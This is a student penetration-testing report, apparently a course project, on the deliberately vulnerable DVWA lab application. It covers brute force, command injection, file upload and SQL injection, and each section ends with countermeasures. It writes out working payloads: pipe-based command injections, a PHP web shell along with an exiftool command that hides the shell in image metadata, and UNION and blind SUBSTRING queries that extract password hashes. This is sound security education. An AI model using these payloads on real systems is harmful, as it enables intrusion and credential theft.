Skip to content

Ismailo667/DVWA-Damn-Vulnerable-Web-Application

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

Pentest Report

Target Application: DVWA

Conducted as part of the course

Web Network Security

École des Mines de Saint-Étienne

1 Introduction

In this report, we will present the exploitation of vulnerabilities on the DVWA (Damn Vulnerable Web Application) web application. We will detail the exact steps followed, the results obtained, and the recommended countermeasures.

2 PortSwigger Labs

2.2 Progression on PortSwigger

Figures 1 and 2 show the completion of the 40 required labs.

image

FIGURE 1 - Progress on PortSwigger - 48 labs completed.

3 DVWA Pentest

3.1 Brute Force

3.1.1 Low Level

At this level, the application does not implement any protection against brute force attacks. No delay between attempts, no limit, no CAPTCHA: you can try as many combinations as you want, as fast as you want. We therefore chose to automate the attack with Burp Suite.

We started by attempting a normal login with the username admin and a random password, just to capture the HTTP request. Once intercepted with Burp Suite, we sent it to the Intruder tab.

There, we kept the username field set to admin and placed an injection point on password. Then, we loaded a custom wordlist containing different variations of common passwords around “password”: for example, password123, adminpass, p@ssword, etc.

We launched the attack, and by analyzing the responses, one of them stood out because of its size: it was longer. That immediately indicated that the attempt had succeeded, allowing us to retrieve the correct password.

Vulnerability: Brute Force

image

FIGURE 3 - Login form on which we tested brute force.

image

FIGURE 4 - Request intercepted in Burp Suite.

image

FIGURE 5 - Burp Intruder configuration with the wordlist.

image

FIGURE 6 - Successful login detected by the response size.

This type of vulnerability is very basic, but unfortunately still common. To protect against it, it is essential to limit login attempts, introduce a delay between each try, or add a CAPTCHA or two-factor authentication.

3.1.2 Medium Level

At this level, DVWA introduces a first layer of protection against brute force attacks: an artificial delay of about two seconds is added after each failed login attempt. This does not block the attack but significantly slows it down.

To test this protection, we used exactly the same method as for the Low level: intercepting the request with Burp Suite, configuring the Intruder tab, and using our custom wordlist containing variants around "password."

The application’s behavior was different: each attempt took longer to respond, confirming the existence of a deliberate server-side delay. The attack was therefore much slower, but still entirely feasible, especially if the attacker is patient or uses a background script.

To support this, we observed in the browser console that each request took around 2 seconds to process, as shown below.

image

FIGURE 7 - 2-second response time visible in the browser console.

As in the Low level, we were able to identify the correct password by observing a different response in Burp Intruder.

image

FIGURE 8 - Password found despite the presence of the anti-brute force delay.

This type of countermeasure is a good start but is not enough to block a brute force attack. As long as there is no temporary lockout or strict limit on the number of attempts, the attack remains feasible — simply slower.

3.1.3 High Level

At this level, DVWA introduces two significant protections against brute force attacks:

— A per-request anti-CSRF token: it changes each time the login form is displayed.
— A random waiting delay between two responses, ranging between 0 and 3 seconds.

To automate our attack despite these protections, we used Burp Suite Intruder’s advanced features. The principle is as follows: we must dynamically retrieve a new token at each password attempt and then reinject it into the next request.

Here are the steps we followed:

  1. We intercepted a POST request to the login page and identified the user_token field.
image

FIGURE 9 - Dynamic extraction of the anti-CSRF token via Burp Intruder.

  1. In Intruder, we defined two positions:

— Payload 1: the password to test, from a customized dictionary.
— Payload 2: the anti-CSRF token, configured to be dynamically retrieved using the Recursive Grep mode.

  1. In the Options tab, we:
  • Enabled “follow redirections.”
    — Limited the number of threads to 1 (because of the random delay between responses).
image
  1. We also specified an initial valid token (from the original request) to start the session.

This configuration allowed us to properly bypass the dynamic CSRF token. Burp automatically retrieved a new valid token before each attempt, making the attack possible despite the protection.

The random delay, however, cannot be bypassed directly. One simply needs patience: each attempt takes between 1 and 3 seconds, but with a reasonable wordlist, we were still able to find the administrator’s password.

As in the previous levels, it was the size of the HTTP response that allowed us to identify the correct attempt — the successful response had different content compared to the others.

image

FIGURE 10 - The response containing the correct password is recognizable by its size.

These protections are effective against naive attacks but do not resist well-configured tools like Burp. They must be reinforced with temporary account lockout, logging of failed attempts, and ideally, multi-factor authentication.

3.2 Command Injection

3.2.1 Low Level

In this exploitation, the objective was to retrieve two sensitive pieces of information on the target machine: the username under which the web service is running, and the hostname of the machine. To do this, we targeted a Remote Command Execution (RCE) vulnerability present in DVWA’s "Command Injection" module.

At the "Low" security level, the application does not implement any validation or filtering on the data entered into the field intended for entering an IP address to ping. This allows direct injection of system commands by chaining them with Linux shell operators.

On Kali Linux, as on any Unix system, it is common to use operators such as ; or && in terminals to execute multiple commands:

; allows multiple commands to run, regardless of whether the previous one fails.
&& allows the next command to run only if the previous one succeeds.

By exploiting this, we injected the following commands into the vulnerable field:

127.0.0.1; whoami 127.0.0.1; hostname

The first command displayed the username used by the web server. The second revealed the hostname of the target machine. These results are illustrated below.

image

FIGURE 11 - Result of the whoami command injected via the IP field.

Ping a device

image

FIGURE 12 - Result of the hostname command injected via the IP field.

This type of flaw allows an attacker to execute arbitrary commands on the target system, which can lead to full host compromise if protections are not implemented.

To protect against this type of attack, several countermeasures must be adopted:

— Never directly concatenate user input into system commands.
— Strictly validate the expected format of the data (e.g., IPv4 only).
— Use secure functions such as escapeshellarg() or equivalent, sanitizing the result of the operation.

3.2.2 Medium Level

At this level, the DVWA application attempts to protect against command injection by filtering only two specific operators: the semicolon (;) and the double ampersand (&&). This filtering is performed server-side using a simple str_replace() that removes these sequences of characters if they appear in the user input. The corresponding source code is as follows:

$substitutions = array(
  '&&' => '',
  ';'  => '',
);

$target = str_replace(array_keys($substitutions), $substitutions, $target);

This security mechanism relies on an extremely limited blacklist, completely ignoring other valid operators in a Unix/Linux shell. The pipe operator | is an excellent example: it allows the output of one command to be redirected into another.

In practice, this means that the input: 127.0.0.1 | whoami

is interpreted as execution of the command: ping -c 4 127.0.0.1 | whoami

The command whoami will be executed, even if ping fails, because it is called via the pipe. This technique therefore completely bypasses the filtering in place.

We applied this approach with two commands: 127.0.0.1 | whoami → to retrieve the identity of the user running the web service.
127.0.0.1 | hostname → to obtain the name of the target machine.

The results confirmed that command injection is still possible despite the protections in place. This highlights the fragility of blacklists when they are incomplete.

image

FIGURE 13 - Bypass using | whoami (Medium level).

image

FIGURE 14 - Bypass using | hostname (Medium level).

Conclusion: This exploitation proves that the filtering applied at the Medium level is insufficient and easily bypassed. Effective security cannot rely on removing a few characters but requires strict validation (whitelisting), combined with a design that avoids exposing system commands to uncontrolled user input.

3.2.3 High Level

At this level, DVWA applies stricter filtering to block classic command injection attempts. This filtering relies on the removal of specific characters via a substitution array in the source code, including: ; (semicolon), &&, | (pipe followed by a space), $, ', (), etc.

However, this protection remains incomplete. In fact, the | character alone (without a space) is not removed, which still allows commands to be chained.

We exploited this flaw by injecting the following command:

127.0.0.1|whoami

This command was interpreted as: ping -c 4 127.0.0.1 | whoami

This resulted in the execution of the whoami command on the server. The displayed result (www-data) confirms that the system command was successfully executed.

image

FIGURE 15 - Successful execution of the whoami command via injection with the | character.

This bypass shows that even reinforced filtering based on a blacklist can be ineffective if it does not cover all cases. The use of a single allowed operator is enough to circumvent the intended security.

Recommended Countermeasures:

— Strictly forbid any injection into a system command.
— Never directly concatenate user input into a shell command.
— Validate input through whitelisting, for example by verifying that the input strictly matches an IP address using a regular expression.
— Use secure functions such as escapeshellarg() to neutralize special characters.

3.3 File Upload

3.3.1 Low Level

At this level, the DVWA application applies practically no control over uploaded files. No filtering of extension or content is performed, which allows an attacker to upload a malicious file and execute it directly on the server.

We took advantage of this vulnerability by creating a file exploit.php containing the following code:

<?php system($_GET['cmd']); ?>

This file allows us to execute any system command by passing the cmd parameter in the URL.

We then submitted this file via the upload form:

image

FIGURE 16 - Upload of the exploit.php file via the form (Low level).

The application displayed a message confirming the successful upload, with a direct link to the file:

image

FIGURE 17 - Confirmation message after uploading exploit.php with a link.

Finally, we accessed the uploaded file and executed a remote system command via the URL:

http://localhost/DVWA/hackable/uploads/exploit.php?cmd=whoami

This command returned the name of the user under which the web service was running (e.g., www-data):

image

FIGURE 18 - Remote execution of the whoami command via exploit.php.

Recommended Remediation:

— Block all executable extensions (e.g., .php, .asp, .jsp).
— Check the MIME type and the actual file content.
— Store files in a non-executable directory (e.g., outside the web root).
— Rename uploaded files with random names or store their content in a database.

3.3.2 Medium Level

At this level, DVWA applies stricter filtering based on file extension and MIME type. The application only allows files with image extensions such as .jpg, .png, or .gif, and attempts to block PHP files to prevent malicious code execution.

To bypass this filter, we used Burp Suite to intercept the HTTP upload request and manually modify the fields related to the file type.

Here are the steps followed:

  1. Create a malicious file exploit.php containing the code:

    <?php system($_GET['cmd']); ?>
  2. Intercept the request with Burp Suite during file upload via the form.

  3. Manually modify the following part of the HTTP request:

  • Content-Type: replace image/jpeg with application/x-php.
  1. Send the modified request. Thanks to this manipulation, the server accepted the malicious PHP file despite its true nature.

We then accessed the file via the URL provided by DVWA and executed the following command:

http://localhost/DVWA/hackable/uploads/exploit.php?cmd=whoami

The command was successfully interpreted, proving that system code injection was still possible.

image

FIGURE 19 - Modification of Content-Type with Burp Suite to force PHP file upload.

image

FIGURE 20 - Execution of the whoami command from the uploaded file.

Recommended Remediation:

— Verify both the extension AND the MIME type on the server side using functions such as finfo_file().
— Refuse execution of uploaded files via server configuration (disable PHP in the upload directory).
— Store files in a directory that is inaccessible via the browser.

3.3.3 High Level

At the High level, DVWA applies advanced protections to secure the file upload mechanism. The server not only checks the extension and MIME type, but also uses functions such as getimagesize() to ensure that the file is a genuinely valid image.

Classic injection techniques (such as renaming a PHP file to .jpg or appending PHP code to an image) no longer work. To bypass these protections, we used a more discreet method: injecting PHP code into the EXIF metadata of a JPEG image using the ExifTool utility.

Attack Steps:

  1. Create a base image (e.g., photo.jpg).

  2. Inject PHP code into the metadata with the command:

    exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
  3. Rename the file to shell.php.jpg.

  4. Intercept the upload request with Burp Suite:

  • Extension: .php.jpg

  • Content-Type: image/jpeg

  1. Send the modified request.

The file was accepted by DVWA because the image was valid from the perspective of both metadata and JPEG structure. By then accessing the file via:

http://localhost/DVWA/hackable/uploads/shell.php.jpeg?cmd=whoami

the PHP code inserted in the metadata was executed by the server, confirming the compromise.

image

FIGURE 21 - PHP code injection in EXIF metadata using ExifTool. image

FIGURE 22 - Remote execution of the whoami command via injected image file.

Recommended Remediation:

— Disable PHP code execution in the upload directory.
— Clean file metadata after upload.
— Verify the actual file content (not only its extension or MIME type).

3.4 SQL Injection

3.4.1 Low Level

Password extraction: We exploited the SQL Injection vulnerability by using a query that explicitly extracts the users and their passwords stored in the database. The payload used was the following:

%’ UNION SELECT user,password FROM users #

This injection allowed us to directly display the complete list of users along with their MD5-hashed passwords, as illustrated in Figure 23.

image

FIGURE 23 - Successful extraction of passwords (Low level).

We then used the online tool CrackStation to attempt to retrieve the plaintext passwords from the obtained MD5 hashes. This tool relies on a massive database of common and pre-cracked passwords. Thanks to this, we were able to successfully decode the hashes extracted during the SQL injection. The results are presented in the table below:

image image

FIGURE 24 - Decoding of MD5 hashes obtained using the online tool.

3.4.2 Medium Level

At the Medium level of DVWA, the application implements a basic protection against SQL injections by using the function mysql_real_escape_string() and by restricting user input to a dropdown list. However, by intercepting the HTTP request with Burp Suite, it is possible to modify the id parameter to inject a malicious SQL query.

The payload used was the following:

1 UNION SELECT user, password FROM users --

This injection allowed us to retrieve the list of users and their hashed passwords, as illustrated in Figures 25 and 26.

image

FIGURE 25 - HTTP request modified with the injected payload (Medium level).

image

FIGURE 26 - Result of the SQL injection showing the users and their hashed passwords.

The results are presented in the table below:

image

3.4.3 High Level

Methodology: At the High level, DVWA applies stronger protections such as the use of prepared statements and input validation. However, the page provides a pop-up window that allows modifying the used ID.

By directly entering an SQL command into this pop-up, it was possible to bypass the protections in place.

Payload used:

1UNION SELECT user, password FROM users #

This injection allowed us to extract the list of users along with their hashed passwords. The request sent to the server, captured via Burp Suite, was encoded as follows: id=1%27+UNION+SELECT+user%2C+password+FROM+users+%23 The results are illustrated in the figures below:

image

FIGURE 27 - Direct input of the payload in the pop-up window (High level).

image

FIGURE 28 - Request intercepted in Burp Suite showing the encoded payload.

image

FIGURE 29 - Result of the SQL injection (High level).

3.5 SQL Injection (Blind)

3.5.1 Blind SQL Injection - Low Level

This challenge is based on a blind SQL injection, where the application never directly returns data from the database. Instead, it only indicates whether a user "exists" or not, which allows us to infer the validity of certain SQL conditions.

We used this weakness to extract the admin user's password, character by character, using Burp Suite.

The basic idea relies on the following query:

1AND SUBSTRING((SELECT password FROM users WHERE user='admin'), N, 1) = 'x' --

Where:

— N is the position of the character to test. — 'x' is the character guessed at that position.

Automation with Burp Suite

To automate the tests, we used a Cluster Bomb attack in Burp Intruder, with two payloads:

— A Numbers payload to vary the position N from 1 to 32. — A Brute Forcer payload containing alphanumeric characters to test (a-z, 0-9).

We then:

— Intercepted a valid request for the test page. — Defined two injection points in the request (position and character). — Activated the Cluster Bomb attack to combine each character with each position. — Filtered HTTP responses with status 404, which indicated a negative result. — Sorted results by increasing position (N), keeping only the valid responses (different status or different content).

This method allowed us to reconstruct a complete hash, character by character. The obtained hash was: 5f4dcc3b5aa765d61d8327deb882cf99 We immediately recognized it as a common MD5 hash. Submitting it to an online cracking tool (CrackStation) revealed that the corresponding password was simply:

password

password

image

FIGURE 30 - Cluster Bomb attack configured with position and character.

image

FIGURE 31 - Results sorted by position after filtering out 404 responses.

image

FIGURE 32 - MD5 hash decoded using an online tool.

This approach shows that even without direct data returned, a database can still be compromised if responses allow the attacker to infer the truth of a query. A patient attacker (or one equipped with automated tools) can eventually recover the entirety of sensitive information. Although we performed this attack on the "admin" user, the same method could be generalized to any existing user in the database.

3.5.2 Blind SQL Injection - Medium Level

At the Medium level, the interface changes slightly, but the SQL query on the server side remains exactly the same. The application simply replaces the text field with a drop-down menu, which restricts input on the client side but does not prevent exploitation via a manual request.

We therefore repeated exactly the same method as for the Low level: intercepting the request with Burp Suite, then configuring a Cluster Bomb attack in Intruder with two payloads:

— A numeric payload to iterate over each position of the password (from 1 to 32).
— An alphanumeric payload to guess each character.

The application's response varied in the same way depending on whether the SQL condition was true or false, allowing us to extract the password in an identical manner.

This level clearly shows that restricting input on the interface side (such as with a drop-down menu) does not protect against attacks, as long as the server-side logic remains vulnerable.

3.5.3 Blind SQL Injection - High Level

At the High level, DVWA completely changes the way the request is sent. The input field is no longer a simple form integrated into the page, but instead a link that opens a new window where an ID can be entered. Once the ID is submitted, the main page automatically refreshes to display the result.

This behavior changes the request pattern: the field is indeed sent to the server, but the HTTP response obtained in the secondary window is always the same (status code 200), regardless of the injected content. In other words, there is no longer any observable difference directly in the raw response, which makes automation with Burp Intruder ineffective.

For this reason, we were forced to revert to the exact same principle as in the previous levels (injection with SUBSTRING), but perform it entirely manually. At each attempt, we manually entered an ID containing an SQL condition, and visually observed whether the main page displayed the message “User ID exists in the database” or not.

This makes the process much longer, but still feasible with rigor. The SQL injection mechanism remains the same, only the analysis of the response becomes manual.

4 Conclusion

Through this project, we practiced different attack techniques on vulnerable web applications, particularly DVWA. The objective was not only to successfully exploit the vulnerabilities but also to understand how they work, their implications, and how to protect against them.

We completed more than 40 labs on the PortSwigger platform, which allowed us to build a solid foundation on common vulnerabilities such as SQL injection, XSS, file upload, and command injection.

Some protections, such as dynamic CSRF tokens, delays, or asynchronous JavaScript interfaces, make attacks slower or harder to automate, but they can still be bypassed with proper tools or rigorous manual testing.

This work helped us better understand how much implementation details matter in web security. Even simple filters can be ineffective if not properly configured. Above all, we learned that it is not enough to secure the user interface: the entire server-side logic must be protected.

In summary, this project was very educational, as it forced us to think like an attacker while maintaining a rigorous and methodical approach.

And of course, after dozens of labs on PortSwigger, we ended up developing a certain fondness for wiener — our faithful testing partner — even if our real target was almost always carlos.

About

This repository contains a complete penetration testing report conducted on DVWA (Damn Vulnerable Web Application) as part of the course Web Network Security at École des Mines de Saint-Étienne.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors